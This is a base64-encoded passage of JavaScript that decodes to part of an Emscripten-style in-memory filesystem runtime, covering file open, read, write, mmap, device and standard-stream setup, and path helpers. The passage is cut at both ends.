b3IoRVJSTk9fQ09ERVMuRU5PRU5UKX1pZihGUy5pc0NocmRldihub2RlLm1vZGUpKXtmbGFncyY9fjUxMn1pZihmbGFncyY2NTUzNiYmIUZTLmlzRGlyKG5vZGUubW9kZSkpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVOT1RESVIpfWlmKCFjcmVhdGVkKXt2YXJceDIwZXJyPUZTLm1heU9wZW4obm9kZSxmbGFncyk7aWYoZXJyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihlcnIpfX1pZihmbGFncyY1MTIpe0ZTLnRydW5jYXRlKG5vZGUsMCl9ZmxhZ3MmPX4oMTI4fDUxMik7dmFyXHgyMHN0cmVhbT1GUy5jcmVhdGVTdHJlYW0oe25vZGU6bm9kZSxwYXRoOkZTLmdldFBhdGgobm9kZSksZmxhZ3M6ZmxhZ3Msc2Vla2FibGU6dHJ1ZSxwb3NpdGlvbjowLHN0cmVhbV9vcHM6bm9kZS5zdHJlYW1fb3BzLHVuZ290dGVuOltdLGVycm9yOmZhbHNlfSxmZF9zdGFydCxmZF9lbmQpO2lmKHN0cmVhbS5zdHJlYW1fb3BzLm9wZW4pe3N0cmVhbS5zdHJlYW1fb3BzLm9wZW4oc3RyZWFtKX1pZihNb2R1bGVbXHgyMmxvZ1JlYWRGaWxlc1x4MjJdJiYhKGZsYWdzJjEpKXtpZighRlMucmVhZEZpbGVzKUZTLnJlYWRGaWxlcz17fTtpZighKHBhdGhceDIwaW5ceDIwRlMucmVhZEZpbGVzKSl7RlMucmVhZEZpbGVzW3BhdGhdPTE7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFx4MjJyZWFkXHgyMGZpbGU6XHgyMFx4MjIrcGF0aCl9fXRyeXtpZihGUy50cmFja2luZ0RlbGVnYXRlW1x4MjJvbk9wZW5GaWxlXHgyMl0pe3Zhclx4MjB0cmFja2luZ0ZsYWdzPTA7aWYoKGZsYWdzJjIwOTcxNTUpIT09MSl7dHJhY2tpbmdGbGFnc3w9RlMudHJhY2tpbmcub3BlbkZsYWdzLlJFQUR9aWYoKGZsYWdzJjIwOTcxNTUpIT09MCl7dHJhY2tpbmdGbGFnc3w9RlMudHJhY2tpbmcub3BlbkZsYWdzLldSSVRFfUZTLnRyYWNraW5nRGVsZWdhdGVbXHgyMm9uT3BlbkZpbGVceDIyXShwYXRoLHRyYWNraW5nRmxhZ3MpfX1jYXRjaChlKXtjb25zb2xlLmxvZyhceDIyRlMudHJhY2tpbmdEZWxlZ2F0ZVtceDI3b25PcGVuRmlsZVx4MjddKFx4MjdceDIyK3BhdGgrXHgyMlx4MjcsXHgyMGZsYWdzKVx4MjB0aHJld1x4MjBhblx4MjBleGNlcHRpb246XHgyMFx4MjIrZS5tZXNzYWdlKX1yZXR1cm5ceDIwc3RyZWFtfSksY2xvc2U6KGZ1bmN0aW9uKHN0cmVhbSl7aWYoc3RyZWFtLmdldGRlbnRzKXN0cmVhbS5nZXRkZW50cz1udWxsO3RyeXtpZihzdHJlYW0uc3RyZWFtX29wcy5jbG9zZSl7c3RyZWFtLnN0cmVhbV9vcHMuY2xvc2Uoc3RyZWFtKX19Y2F0Y2goZSl7dGhyb3dceDIwZX1maW5hbGx5e0ZTLmNsb3NlU3RyZWFtKHN0cmVhbS5mZCl9fSksbGxzZWVrOihmdW5jdGlvbihzdHJlYW0sb2Zmc2V0LHdoZW5jZSl7aWYoIXN0cmVhbS5zZWVrYWJsZXx8IXN0cmVhbS5zdHJlYW1fb3BzLmxsc2Vlayl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRVNQSVBFKX1zdHJlYW0ucG9zaXRpb249c3RyZWFtLnN0cmVhbV9vcHMubGxzZWVrKHN0cmVhbSxvZmZzZXQsd2hlbmNlKTtzdHJlYW0udW5nb3R0ZW49W107cmV0dXJuXHgyMHN0cmVhbS5wb3NpdGlvbn0pLHJlYWQ6KGZ1bmN0aW9uKHN0cmVhbSxidWZmZXIsb2Zmc2V0LGxlbmd0aCxwb3NpdGlvbil7aWYobGVuZ3RoPDB8fHBvc2l0aW9uPDApe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTlZBTCl9aWYoKHN0cmVhbS5mbGFncyYyMDk3MTU1KT09PTEpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVCQURGKX1pZihGUy5pc0RpcihzdHJlYW0ubm9kZS5tb2RlKSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUlTRElSKX1pZighc3RyZWFtLnN0cmVhbV9vcHMucmVhZCl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUlOVkFMKX12YXJceDIwc2Vla2luZz10cnVlO2lmKHR5cGVvZlx4MjBwb3NpdGlvbj09PVx4MjJ1bmRlZmluZWRceDIyKXtwb3NpdGlvbj1zdHJlYW0ucG9zaXRpb247c2Vla2luZz1mYWxzZX1lbHNlXHgyMGlmKCFzdHJlYW0uc2Vla2FibGUpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVTUElQRSl9dmFyXHgyMGJ5dGVzUmVhZD1zdHJlYW0uc3RyZWFtX29wcy5yZWFkKHN0cmVhbSxidWZmZXIsb2Zmc2V0LGxlbmd0aCxwb3NpdGlvbik7aWYoIXNlZWtpbmcpc3RyZWFtLnBvc2l0aW9uKz1ieXRlc1JlYWQ7cmV0dXJuXHgyMGJ5dGVzUmVhZH0pLHdyaXRlOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zaXRpb24sY2FuT3duKXtpZihsZW5ndGg8MHx8cG9zaXRpb248MCl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUlOVkFMKX1pZigoc3RyZWFtLmZsYWdzJjIwOTcxNTUpPT09MCl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUJBREYpfWlmKEZTLmlzRGlyKHN0cmVhbS5ub2RlLm1vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSVNESVIpfWlmKCFzdHJlYW0uc3RyZWFtX29wcy53cml0ZSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUlOVkFMKX1pZihzdHJlYW0uZmxhZ3MmMTAyNCl7RlMubGxzZWVrKHN0cmVhbSwwLDIpfXZhclx4MjBzZWVraW5nPXRydWU7aWYodHlwZW9mXHgyMHBvc2l0aW9uPT09XHgyMnVuZGVmaW5lZFx4MjIpe3Bvc2l0aW9uPXN0cmVhbS5wb3NpdGlvbjtzZWVraW5nPWZhbHNlfWVsc2VceDIwaWYoIXN0cmVhbS5zZWVrYWJsZSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRVNQSVBFKX12YXJceDIwYnl0ZXNXcml0dGVuPXN0cmVhbS5zdHJlYW1fb3BzLndyaXRlKHN0cmVhbSxidWZmZXIsb2Zmc2V0LGxlbmd0aCxwb3NpdGlvbixjYW5Pd24pO2lmKCFzZWVraW5nKXN0cmVhbS5wb3NpdGlvbis9Ynl0ZXNXcml0dGVuO3RyeXtpZihzdHJlYW0ucGF0aCYmRlMudHJhY2tpbmdEZWxlZ2F0ZVtceDIyb25Xcml0ZVRvRmlsZVx4MjJdKUZTLnRyYWNraW5nRGVsZWdhdGVbXHgyMm9uV3JpdGVUb0ZpbGVceDIyXShzdHJlYW0ucGF0aCl9Y2F0Y2goZSl7Y29uc29sZS5sb2coXHgyMkZTLnRyYWNraW5nRGVsZWdhdGVbXHgyN29uV3JpdGVUb0ZpbGVceDI3XShceDI3XHgyMitwYXRoK1x4MjJceDI3KVx4MjB0aHJld1x4MjBhblx4MjBleGNlcHRpb246XHgyMFx4MjIrZS5tZXNzYWdlKX1yZXR1cm5ceDIwYnl0ZXNXcml0dGVufSksYWxsb2NhdGU6KGZ1bmN0aW9uKHN0cmVhbSxvZmZzZXQsbGVuZ3RoKXtpZihvZmZzZXQ8MHx8bGVuZ3RoPD0wKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSU5WQUwpfWlmKChzdHJlYW0uZmxhZ3MmMjA5NzE1NSk9PT0wKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FQkFERil9aWYoIUZTLmlzRmlsZShzdHJlYW0ubm9kZS5tb2RlKSYmIUZTLmlzRGlyKHN0cmVhbS5ub2RlLm1vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9ERVYpfWlmKCFzdHJlYW0uc3RyZWFtX29wcy5hbGxvY2F0ZSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRU9QTk9UU1VQUCl9c3RyZWFtLnN0cmVhbV9vcHMuYWxsb2NhdGUoc3RyZWFtLG9mZnNldCxsZW5ndGgpfSksbW1hcDooZnVuY3Rpb24oc3RyZWFtLGJ1ZmZlcixvZmZzZXQsbGVuZ3RoLHBvc2l0aW9uLHByb3QsZmxhZ3Mpe2lmKChzdHJlYW0uZmxhZ3MmMjA5NzE1NSk9PT0xKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FQUNDRVMpfWlmKCFzdHJlYW0uc3RyZWFtX29wcy5tbWFwKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9ERVYpfXJldHVyblx4MjBzdHJlYW0uc3RyZWFtX29wcy5tbWFwKHN0cmVhbSxidWZmZXIsb2Zmc2V0LGxlbmd0aCxwb3NpdGlvbixwcm90LGZsYWdzKX0pLG1zeW5jOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgsbW1hcEZsYWdzKXtpZighc3RyZWFtfHwhc3RyZWFtLnN0cmVhbV9vcHMubXN5bmMpe3JldHVyblx4MjAwfXJldHVyblx4MjBzdHJlYW0uc3RyZWFtX29wcy5tc3luYyhzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgsbW1hcEZsYWdzKX0pLG11bm1hcDooZnVuY3Rpb24oc3RyZWFtKXtyZXR1cm5ceDIwMH0pLGlvY3RsOihmdW5jdGlvbihzdHJlYW0sY21kLGFyZyl7aWYoIXN0cmVhbS5zdHJlYW1fb3BzLmlvY3RsKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9UVFkpfXJldHVyblx4MjBzdHJlYW0uc3RyZWFtX29wcy5pb2N0bChzdHJlYW0sY21kLGFyZyl9KSxyZWFkRmlsZTooZnVuY3Rpb24ocGF0aCxvcHRzKXtvcHRzPW9wdHN8fHt9O29wdHMuZmxhZ3M9b3B0cy5mbGFnc3x8XHgyMnJceDIyO29wdHMuZW5jb2Rpbmc9b3B0cy5lbmNvZGluZ3x8XHgyMmJpbmFyeVx4MjI7aWYob3B0cy5lbmNvZGluZyE9PVx4MjJ1dGY4XHgyMiYmb3B0cy5lbmNvZGluZyE9PVx4MjJiaW5hcnlceDIyKXt0aHJvd1x4MjBuZXdceDIwRXJyb3IoXHgyN0ludmFsaWRceDIwZW5jb2RpbmdceDIwdHlwZVx4MjBceDIyXHgyNytvcHRzLmVuY29kaW5nK1x4MjdceDIyXHgyNyl9dmFyXHgyMHJldDt2YXJceDIwc3RyZWFtPUZTLm9wZW4ocGF0aCxvcHRzLmZsYWdzKTt2YXJceDIwc3RhdD1GUy5zdGF0KHBhdGgpO3Zhclx4MjBsZW5ndGg9c3RhdC5zaXplO3Zhclx4MjBidWY9bmV3XHgyMFVpbnQ4QXJyYXkobGVuZ3RoKTtGUy5yZWFkKHN0cmVhbSxidWYsMCxsZW5ndGgsMCk7aWYob3B0cy5lbmNvZGluZz09PVx4MjJ1dGY4XHgyMil7cmV0PVVURjhBcnJheVRvU3RyaW5nKGJ1ZiwwKX1lbHNlXHgyMGlmKG9wdHMuZW5jb2Rpbmc9PT1ceDIyYmluYXJ5XHgyMil7cmV0PWJ1Zn1GUy5jbG9zZShzdHJlYW0pO3JldHVyblx4MjByZXR9KSx3cml0ZUZpbGU6KGZ1bmN0aW9uKHBhdGgsZGF0YSxvcHRzKXtvcHRzPW9wdHN8fHt9O29wdHMuZmxhZ3M9b3B0cy5mbGFnc3x8XHgyMndceDIyO29wdHMuZW5jb2Rpbmc9b3B0cy5lbmNvZGluZ3x8XHgyMnV0ZjhceDIyO2lmKG9wdHMuZW5jb2RpbmchPT1ceDIydXRmOFx4MjImJm9wdHMuZW5jb2RpbmchPT1ceDIyYmluYXJ5XHgyMil7dGhyb3dceDIwbmV3XHgyMEVycm9yKFx4MjdJbnZhbGlkXHgyMGVuY29kaW5nXHgyMHR5cGVceDIwXHgyMlx4Mjcrb3B0cy5lbmNvZGluZytceDI3XHgyMlx4MjcpfXZhclx4MjBzdHJlYW09RlMub3BlbihwYXRoLG9wdHMuZmxhZ3Msb3B0cy5tb2RlKTtpZihvcHRzLmVuY29kaW5nPT09XHgyMnV0ZjhceDIyKXt2YXJceDIwYnVmPW5ld1x4MjBVaW50OEFycmF5KGxlbmd0aEJ5dGVzVVRGOChkYXRhKSsxKTt2YXJceDIwYWN0dWFsTnVtQnl0ZXM9c3RyaW5nVG9VVEY4QXJyYXkoZGF0YSxidWYsMCxidWYubGVuZ3RoKTtGUy53cml0ZShzdHJlYW0sYnVmLDAsYWN0dWFsTnVtQnl0ZXMsMCxvcHRzLmNhbk93bil9ZWxzZVx4MjBpZihvcHRzLmVuY29kaW5nPT09XHgyMmJpbmFyeVx4MjIpe0ZTLndyaXRlKHN0cmVhbSxkYXRhLDAsZGF0YS5sZW5ndGgsMCxvcHRzLmNhbk93bil9RlMuY2xvc2Uoc3RyZWFtKX0pLGN3ZDooZnVuY3Rpb24oKXtyZXR1cm5ceDIwRlMuY3VycmVudFBhdGh9KSxjaGRpcjooZnVuY3Rpb24ocGF0aCl7dmFyXHgyMGxvb2t1cD1GUy5sb29rdXBQYXRoKHBhdGgse2ZvbGxvdzp0cnVlfSk7aWYobG9va3VwLm5vZGU9PT1udWxsKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9FTlQpfWlmKCFGUy5pc0Rpcihsb29rdXAubm9kZS5tb2RlKSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRU5PVERJUil9dmFyXHgyMGVycj1GUy5ub2RlUGVybWlzc2lvbnMobG9va3VwLm5vZGUsXHgyMnhceDIyKTtpZihlcnIpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKGVycil9RlMuY3VycmVudFBhdGg9bG9va3VwLnBhdGh9KSxjcmVhdGVEZWZhdWx0RGlyZWN0b3JpZXM6KGZ1bmN0aW9uKCl7RlMubWtkaXIoXHgyMi90bXBceDIyKTtGUy5ta2RpcihceDIyL2hvbWVceDIyKTtGUy5ta2RpcihceDIyL2hvbWUvd2ViX3VzZXJceDIyKX0pLGNyZWF0ZURlZmF1bHREZXZpY2VzOihmdW5jdGlvbigpe0ZTLm1rZGlyKFx4MjIvZGV2XHgyMik7RlMucmVnaXN0ZXJEZXZpY2UoRlMubWFrZWRldigxLDMpLHtyZWFkOihmdW5jdGlvbigpe3JldHVyblx4MjAwfSksd3JpdGU6KGZ1bmN0aW9uKHN0cmVhbSxidWZmZXIsb2Zmc2V0LGxlbmd0aCxwb3Mpe3JldHVyblx4MjBsZW5ndGh9KX0pO0ZTLm1rZGV2KFx4MjIvZGV2L251bGxceDIyLEZTLm1ha2VkZXYoMSwzKSk7VFRZLnJlZ2lzdGVyKEZTLm1ha2VkZXYoNSwwKSxUVFkuZGVmYXVsdF90dHlfb3BzKTtUVFkucmVnaXN0ZXIoRlMubWFrZWRldig2LDApLFRUWS5kZWZhdWx0X3R0eTFfb3BzKTtGUy5ta2RldihceDIyL2Rldi90dHlceDIyLEZTLm1ha2VkZXYoNSwwKSk7RlMubWtkZXYoXHgyMi9kZXYvdHR5MVx4MjIsRlMubWFrZWRldig2LDApKTt2YXJceDIwcmFuZG9tX2RldmljZTtpZih0eXBlb2ZceDIwY3J5cHRvIT09XHgyMnVuZGVmaW5lZFx4MjIpe3Zhclx4MjByYW5kb21CdWZmZXI9bmV3XHgyMFVpbnQ4QXJyYXkoMSk7cmFuZG9tX2RldmljZT0oZnVuY3Rpb24oKXtjcnlwdG8uZ2V0UmFuZG9tVmFsdWVzKHJhbmRvbUJ1ZmZlcik7cmV0dXJuXHgyMHJhbmRvbUJ1ZmZlclswXX0pfWVsc2VceDIwaWYoRU5WSVJPTk1FTlRfSVNfTk9ERSl7cmFuZG9tX2RldmljZT0oZnVuY3Rpb24oKXtyZXR1cm5ceDIwcmVxdWlyZShceDIyY3J5cHRvXHgyMikucmFuZG9tQnl0ZXMoMSlbMF19KX1lbHNle3JhbmRvbV9kZXZpY2U9KGZ1bmN0aW9uKCl7cmV0dXJuXHgyME1hdGgucmFuZG9tKCkqMjU2fDB9KX1GUy5jcmVhdGVEZXZpY2UoXHgyMi9kZXZceDIyLFx4MjJyYW5kb21ceDIyLHJhbmRvbV9kZXZpY2UpO0ZTLmNyZWF0ZURldmljZShceDIyL2Rldlx4MjIsXHgyMnVyYW5kb21ceDIyLHJhbmRvbV9kZXZpY2UpO0ZTLm1rZGlyKFx4MjIvZGV2L3NobVx4MjIpO0ZTLm1rZGlyKFx4MjIvZGV2L3NobS90bXBceDIyKX0pLGNyZWF0ZVNwZWNpYWxEaXJlY3RvcmllczooZnVuY3Rpb24oKXtGUy5ta2RpcihceDIyL3Byb2NceDIyKTtGUy5ta2RpcihceDIyL3Byb2Mvc2VsZlx4MjIpO0ZTLm1rZGlyKFx4MjIvcHJvYy9zZWxmL2ZkXHgyMik7RlMubW91bnQoe21vdW50OihmdW5jdGlvbigpe3Zhclx4MjBub2RlPUZTLmNyZWF0ZU5vZGUoXHgyMi9wcm9jL3NlbGZceDIyLFx4MjJmZFx4MjIsMTYzODR8NTExLDczKTtub2RlLm5vZGVfb3BzPXtsb29rdXA6KGZ1bmN0aW9uKHBhcmVudCxuYW1lKXt2YXJceDIwZmQ9K25hbWU7dmFyXHgyMHN0cmVhbT1GUy5nZXRTdHJlYW0oZmQpO2lmKCFzdHJlYW0pdGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUJBREYpO3Zhclx4MjByZXQ9e3BhcmVudDpudWxsLG1vdW50Onttb3VudHBvaW50Olx4MjJmYWtlXHgyMn0sbm9kZV9vcHM6e3JlYWRsaW5rOihmdW5jdGlvbigpe3JldHVyblx4MjBzdHJlYW0ucGF0aH0pfX07cmV0LnBhcmVudD1yZXQ7cmV0dXJuXHgyMHJldH0pfTtyZXR1cm5ceDIwbm9kZX0pfSx7fSxceDIyL3Byb2Mvc2VsZi9mZFx4MjIpfSksY3JlYXRlU3RhbmRhcmRTdHJlYW1zOihmdW5jdGlvbigpe2lmKE1vZHVsZVtceDIyc3RkaW5ceDIyXSl7RlMuY3JlYXRlRGV2aWNlKFx4MjIvZGV2XHgyMixceDIyc3RkaW5ceDIyLE1vZHVsZVtceDIyc3RkaW5ceDIyXSl9ZWxzZXtGUy5zeW1saW5rKFx4MjIvZGV2L3R0eVx4MjIsXHgyMi9kZXYvc3RkaW5ceDIyKX1pZihNb2R1bGVbXHgyMnN0ZG91dFx4MjJdKXtGUy5jcmVhdGVEZXZpY2UoXHgyMi9kZXZceDIyLFx4MjJzdGRvdXRceDIyLG51bGwsTW9kdWxlW1x4MjJzdGRvdXRceDIyXSl9ZWxzZXtGUy5zeW1saW5rKFx4MjIvZGV2L3R0eVx4MjIsXHgyMi9kZXYvc3Rkb3V0XHgyMil9aWYoTW9kdWxlW1x4MjJzdGRlcnJceDIyXSl7RlMuY3JlYXRlRGV2aWNlKFx4MjIvZGV2XHgyMixceDIyc3RkZXJyXHgyMixudWxsLE1vZHVsZVtceDIyc3RkZXJyXHgyMl0pfWVsc2V7RlMuc3ltbGluayhceDIyL2Rldi90dHkxXHgyMixceDIyL2Rldi9zdGRlcnJceDIyKX12YXJceDIwc3RkaW49RlMub3BlbihceDIyL2Rldi9zdGRpblx4MjIsXHgyMnJceDIyKTthc3NlcnQoc3RkaW4uZmQ9PT0wLFx4MjJpbnZhbGlkXHgyMGhhbmRsZVx4MjBmb3JceDIwc3RkaW5ceDIwKFx4MjIrc3RkaW4uZmQrXHgyMilceDIyKTt2YXJceDIwc3Rkb3V0PUZTLm9wZW4oXHgyMi9kZXYvc3Rkb3V0XHgyMixceDIyd1x4MjIpO2Fzc2VydChzdGRvdXQuZmQ9PT0xLFx4MjJpbnZhbGlkXHgyMGhhbmRsZVx4MjBmb3JceDIwc3Rkb3V0XHgyMChceDIyK3N0ZG91dC5mZCtceDIyKVx4MjIpO3Zhclx4MjBzdGRlcnI9RlMub3BlbihceDIyL2Rldi9zdGRlcnJceDIyLFx4MjJ3XHgyMik7YXNzZXJ0KHN0ZGVyci5mZD09PTIsXHgyMmludmFsaWRceDIwaGFuZGxlXHgyMGZvclx4MjBzdGRlcnJceDIwKFx4MjIrc3RkZXJyLmZkK1x4MjIpXHgyMil9KSxlbnN1cmVFcnJub0Vycm9yOihmdW5jdGlvbigpe2lmKEZTLkVycm5vRXJyb3IpcmV0dXJuO0ZTLkVycm5vRXJyb3I9ZnVuY3Rpb25ceDIwRXJybm9FcnJvcihlcnJubyxub2RlKXt0aGlzLm5vZGU9bm9kZTt0aGlzLnNldEVycm5vPShmdW5jdGlvbihlcnJubyl7dGhpcy5lcnJubz1lcnJubztmb3IodmFyXHgyMGtleVx4MjBpblx4MjBFUlJOT19DT0RFUyl7aWYoRVJSTk9fQ09ERVNba2V5XT09PWVycm5vKXt0aGlzLmNvZGU9a2V5O2JyZWFrfX19KTt0aGlzLnNldEVycm5vKGVycm5vKTt0aGlzLm1lc3NhZ2U9RVJSTk9fTUVTU0FHRVNbZXJybm9dfTtGUy5FcnJub0Vycm9yLnByb3RvdHlwZT1uZXdceDIwRXJyb3I7RlMuRXJybm9FcnJvci5wcm90b3R5cGUuY29uc3RydWN0b3I9RlMuRXJybm9FcnJvcjtbRVJSTk9fQ09ERVMuRU5PRU5UXS5mb3JFYWNoKChmdW5jdGlvbihjb2RlKXtGUy5nZW5lcmljRXJyb3JzW2NvZGVdPW5ld1x4MjBGUy5FcnJub0Vycm9yKGNvZGUpO0ZTLmdlbmVyaWNFcnJvcnNbY29kZV0uc3RhY2s9XHgyMjxnZW5lcmljXHgyMGVycm9yLFx4MjBub1x4MjBzdGFjaz5ceDIyfSkpfSksc3RhdGljSW5pdDooZnVuY3Rpb24oKXtGUy5lbnN1cmVFcnJub0Vycm9yKCk7RlMubmFtZVRhYmxlPW5ld1x4MjBBcnJheSg0MDk2KTtGUy5tb3VudChNRU1GUyx7fSxceDIyL1x4MjIpO0ZTLmNyZWF0ZURlZmF1bHREaXJlY3RvcmllcygpO0ZTLmNyZWF0ZURlZmF1bHREZXZpY2VzKCk7RlMuY3JlYXRlU3BlY2lhbERpcmVjdG9yaWVzKCk7RlMuZmlsZXN5c3RlbXM9e1x4MjJNRU1GU1x4MjI6TUVNRlMsXHgyMklEQkZTXHgyMjpJREJGUyxceDIyTk9ERUZTXHgyMjpOT0RFRlMsXHgyMldPUktFUkZTXHgyMjpXT1JLRVJGU319KSxpbml0OihmdW5jdGlvbihpbnB1dCxvdXRwdXQsZXJyb3Ipe2Fzc2VydCghRlMuaW5pdC5pbml0aWFsaXplZCxceDIyRlMuaW5pdFx4MjB3YXNceDIwcHJldmlvdXNseVx4MjBjYWxsZWQuXHgyMElmXHgyMHlvdVx4MjB3YW50XHgyMHRvXHgyMGluaXRpYWxpemVceDIwbGF0ZXJceDIwd2l0aFx4MjBjdXN0b21ceDIwcGFyYW1ldGVycyxceDIwcmVtb3ZlXHgyMGFueVx4MjBlYXJsaWVyXHgyMGNhbGxzXHgyMChub3RlXHgyMHRoYXRceDIwb25lXHgyMGlzXHgyMGF1dG9tYXRpY2FsbHlceDIwYWRkZWRceDIwdG9ceDIwdGhlXHgyMGdlbmVyYXRlZFx4MjBjb2RlKVx4MjIpO0ZTLmluaXQuaW5pdGlhbGl6ZWQ9dHJ1ZTtGUy5lbnN1cmVFcnJub0Vycm9yKCk7TW9kdWxlW1x4MjJzdGRpblx4MjJdPWlucHV0fHxNb2R1bGVbXHgyMnN0ZGluXHgyMl07TW9kdWxlW1x4MjJzdGRvdXRceDIyXT1vdXRwdXR8fE1vZHVsZVtceDIyc3Rkb3V0XHgyMl07TW9kdWxlW1x4MjJzdGRlcnJceDIyXT1lcnJvcnx8TW9kdWxlW1x4MjJzdGRlcnJceDIyXTtGUy5jcmVhdGVTdGFuZGFyZFN0cmVhbXMoKX0pLHF1aXQ6KGZ1bmN0aW9uKCl7RlMuaW5pdC5pbml0aWFsaXplZD1mYWxzZTt2YXJceDIwZmZsdXNoPU1vZHVsZVtceDIyX2ZmbHVzaFx4MjJdO2lmKGZmbHVzaClmZmx1c2goMCk7Zm9yKHZhclx4MjBpPTA7aTxGUy5zdHJlYW1zLmxlbmd0aDtpKyspe3Zhclx4MjBzdHJlYW09RlMuc3RyZWFtc1tpXTtpZighc3RyZWFtKXtjb250aW51ZX1GUy5jbG9zZShzdHJlYW0pfX0pLGdldE1vZGU6KGZ1bmN0aW9uKGNhblJlYWQsY2FuV3JpdGUpe3Zhclx4MjBtb2RlPTA7aWYoY2FuUmVhZCltb2RlfD0yOTJ8NzM7aWYoY2FuV3JpdGUpbW9kZXw9MTQ2O3JldHVyblx4MjBtb2RlfSksam9pblBhdGg6KGZ1bmN0aW9uKHBhcnRzLGZvcmNlUmVsYXRpdmUpe3Zhclx4MjBwYXRoPVBBVEguam9pbi5hcHBseShudWxsLHBhcnRzKTtpZihmb3JjZVJlbGF0aXZlJiZwYXRoWzBdPT1ceDIyL1x4MjIpcGF0aD1wYXRoLnN1YnN0cigxKTtyZXR1cm5ceDIwcGF0aH0pLGFic29sdXRlUGF0aDooZnVuY3Rpb24ocmVsYXRpdmUsYmFzZSl7cmV0dXJuXHgyMFBBVEgucmVzb2x2ZShiYXNlLHJlbGF0aXZlKX0pLHN0YW5kYXJkaXplUGF0aDooZnVuY3Rpb24ocGF0aCl7cmV0dXJuXHgyMFBBVEgubm9ybWFsaXplKHBhdGgpfSksZmluZE9iamVjdDooZnVuY3Rpb24ocGF0aCxkb250UmVzb2x2ZUxhc3RMaW5rKXt2YXJceDIwcmV0PUZTLmFuYWx5emVQYXRoKHBhdGgsZG9udFJlc29sdmVMYXN0TGluayk7aWYocmV0LmV4aXN0cyl7cmV0dXJuXHgyMHJldC5vYmplY3R9ZWxzZXtfX19zZXRFcnJObyhyZXQuZXJyb3IpO3JldHVyblx4MjBudWxsfX0pLGFuYWx5emVQYXRoOihmdW5jdGlvbihwYXRoLGRvbnRSZXNvbHZlTGFzdExpbmspe3RyeXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCx7Zm9sbG93OiFkb250UmVzb2x2ZUxhc3RMaW5rfSk7cGF0aD1sb29rdXAucGF0aH1jYXRjaChlKXt9dmFyXHgyMHJldD17aXNSb290OmZhbHNlLGV4aXN0czpmYWxzZSxlcnJvcjowLG5hbWU6bnVsbCxwYXRoOm51bGwsb2JqZWN0Om51bGwscGFyZW50RXhpc3RzOmZhbHNlLHBhcmVudFBhdGg6bnVsbCxwYXJlbnRPYmplY3Q6bnVsbH07dHJ5e3Zhclx4MjBsb29rdXA9RlMubG9va3VwUGF0aChwYXRoLHtwYXJlbnQ6dHJ1ZX0pO3JldC5wYXJlbnRFeGlzdHM9dHJ1ZTtyZXQucGFyZW50UGF0aD1sb29rdXAucGF0aDtyZXQucGFyZW50T2JqZWN0PWxvb2t1cC5ub2RlO3JldC5uYW1lPVBBVEguYmFzZW5hbWUocGF0aCk7bG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCx7Zm9sbG93OiFkb250UmVzb2x2ZUxhc3RMaW5rfSk7cmV0LmV4aXN0cz10cnVlO3JldC5wYXRoPWxvb2t1cC5wYXRoO3JldC5vYmplY3Q9bG9va3VwLm5vZGU7cmV0Lm5hbWU9bG9va3VwLm5vZGUubmFtZTtyZXQuaXNSb290PWxvb2t1cC5wYXRoPT09XHgyMi9ceDIyfWNhdGNoKGUpe3JldC5lcnJvcj1lLmVycm5vfXJldHVyblx4MjByZXR9KSxjcmVhdGVGb2xkZXI6KGZ1bmN0aW9uKHBhcmVudCxuYW1lLGNhblJlYWQsY2FuV3JpdGUpe3Zhclx4MjBwYXRoPVBBVEguam9pbjIodHlwZW9mXHgyMHBhcmVudD09PVx4MjJzdHJpbmdceDIyP3BhcmVudDpGUy5nZXRQYXRoKHBhcmVudCksbmFtZSk7dmFyXHgyMG1vZGU9RlMuZ2V0TW9kZShjYW5SZWFkLGNhbldyaXRlKTtyZXR1cm5ceDIwRlMubWtkaXIocGF0aCxtb2RlKX0pLGNyZWF0ZVBhdGg6KGZ1b